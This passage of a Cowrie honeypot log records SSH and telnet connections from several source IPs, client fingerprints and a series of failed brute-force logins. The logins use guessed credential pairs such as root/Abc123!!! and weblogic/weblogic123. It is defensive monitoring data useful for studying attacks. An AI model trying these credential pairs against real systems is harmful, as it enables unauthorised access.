0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:49.763505Z","src_ip":"45.156.87.204","session":"b9b0b35dd326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:50.130093Z","src_ip":"45.156.87.204","session":"b9b0b35dd326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42058,"dst_ip":"10.17.0.5","dst_port":23,"session":"480070ed3067","protocol":"telnet","message":"New connection: 152.42.224.71:42058 (10.17.0.5:23) [session: 480070ed3067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:50.860100Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:51.213917Z","src_ip":"45.156.87.204","session":"b9b0b35dd326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":38530,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dfffcaf13be","protocol":"ssh","message":"New connection: 124.155.125.131:38530 (159.203.135.109:22) [session: 9dfffcaf13be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:52.222306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:52.229900Z","src_ip":"124.155.125.131","session":"9dfffcaf13be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:52.406457Z","src_ip":"124.155.125.131","session":"9dfffcaf13be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58600,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a8de6de864b","protocol":"ssh","message":"New connection: 45.156.87.204:58600 (159.203.135.109:22) [session: 0a8de6de864b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:53.116074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:53.120692Z","src_ip":"45.156.87.204","session":"0a8de6de864b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!!!","message":"login attempt [root/Abc123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:53.145294Z","src_ip":"124.155.125.131","session":"9dfffcaf13be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:53.345658Z","src_ip":"45.156.87.204","session":"0a8de6de864b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:53.682957Z","src_ip":"45.156.87.204","session":"0a8de6de864b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:54.324408Z","src_ip":"124.155.125.131","session":"9dfffcaf13be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:54.767049Z","src_ip":"45.156.87.204","session":"0a8de6de864b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58608,"dst_ip":"159.203.135.109","dst_port":22,"session":"d877ff8cedb4","protocol":"ssh","message":"New connection: 45.156.87.204:58608 (159.203.135.109:22) [session: d877ff8cedb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:56.904105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:56.913513Z","src_ip":"45.156.87.204","session":"d877ff8cedb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:56.996355Z","src_ip":"45.156.87.204","session":"d877ff8cedb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:57.247412Z","src_ip":"45.156.87.204","session":"d877ff8cedb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:58.427855Z","src_ip":"45.156.87.204","session":"d877ff8cedb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59722,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a85829ef38b","protocol":"ssh","message":"New connection: 51.250.105.222:59722 (159.203.135.109:22) [session: 8a85829ef38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:59.730343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:59.733742Z","src_ip":"51.250.105.222","session":"8a85829ef38b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:59.862697Z","src_ip":"51.250.105.222","session":"8a85829ef38b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem123","message":"login attempt [root/artem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:00.253955Z","src_ip":"51.250.105.222","session":"8a85829ef38b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58614,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b9defee7fe9","protocol":"ssh","message":"New connection: 45.156.87.204:58614 (159.203.135.109:22) [session: 4b9defee7fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:00.417441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:00.422410Z","src_ip":"45.156.87.204","session":"4b9defee7fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:00.504252Z","src_ip":"45.156.87.204","session":"4b9defee7fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:01.008306Z","src_ip":"45.156.87.204","session":"4b9defee7fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:01.386565Z","src_ip":"51.250.105.222","session":"8a85829ef38b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.1827712059021,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:01.867390Z","src_ip":"152.42.224.71","session":"3e6914dac2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:02.092256Z","src_ip":"45.156.87.204","session":"4b9defee7fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52834,"dst_ip":"10.17.0.5","dst_port":23,"session":"62fe8d509a61","protocol":"telnet","message":"New connection: 152.42.224.71:52834 (10.17.0.5:23) [session: 62fe8d509a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:03.237982Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f88fd1b3f19e","protocol":"ssh","message":"New connection: 45.156.87.204:47526 (159.203.135.109:22) [session: f88fd1b3f19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:04.391448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:04.395970Z","src_ip":"45.156.87.204","session":"f88fd1b3f19e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:04.478299Z","src_ip":"45.156.87.204","session":"f88fd1b3f19e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52848,"dst_ip":"10.17.0.5","dst_port":23,"session":"39efb7181441","protocol":"telnet","message":"New connection: 152.42.224.71:52848 (10.17.0.5:23) [session: 39efb7181441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:04.671912Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:04.727698Z","src_ip":"45.156.87.204","session":"f88fd1b3f19e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":57884,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e86fb612af5","protocol":"ssh","message":"New connection: 45.183.70.66:57884 (159.203.135.109:22) [session: 9e86fb612af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:05.507522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:05.512295Z","src_ip":"45.183.70.66","session":"9e86fb612af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:05.628703Z","src_ip":"45.183.70.66","session":"9e86fb612af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:05.815185Z","src_ip":"45.156.87.204","session":"f88fd1b3f19e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123","message":"login attempt [user/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:06.127952Z","src_ip":"45.183.70.66","session":"9e86fb612af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:07.248632Z","src_ip":"45.183.70.66","session":"9e86fb612af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47544,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2ad1fcbc93","protocol":"ssh","message":"New connection: 45.156.87.204:47544 (159.203.135.109:22) [session: da2ad1fcbc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:07.953258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:07.962175Z","src_ip":"45.156.87.204","session":"da2ad1fcbc93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:08.044728Z","src_ip":"45.156.87.204","session":"da2ad1fcbc93","protocol":"ssh"}
